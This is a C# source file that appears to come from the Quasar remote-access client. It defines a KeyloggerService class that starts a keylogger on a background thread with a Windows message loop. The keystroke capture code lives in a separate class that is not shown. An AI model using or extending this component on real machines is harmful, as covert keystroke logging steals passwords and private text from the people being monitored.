using System;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client.Logging
{
///
/// Provides a service to run the keylogger.
///
public class KeyloggerService : IDisposable
{
///
/// The thread containing the executed keylogger and message loop.
///
private readonly Thread _msgLoopThread;
///
/// The message loop which is needed to receive key events.
///
private ApplicationContext _msgLoop;
///
/// Provides keylogging functionality.
///
private Keylogger _keylogger;
///
/// Initializes a new instance of .
///
public KeyloggerService()
{
_msgLoopThread = new Thread(() =>
{
_msgLoop = new ApplicationContext();
_keylogger = new Keylogger(15000, 5 * 1024 * 1024);
_keylogger.Start();
Application.Run(_msgLoop);
});
}
///
/// Starts the keylogger and message loop.
///
public void Start()
{
_msgLoopThread.Start();
}
///
/// Disposes all managed and unmanaged resources associated with this keylogger service.
///
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected void Dispose(bool disposing)
{
if (disposing)
{
_keylogger.Dispose();
_msgLoop.ExitThread();
_msgLoop.Dispose();
}
}
}
}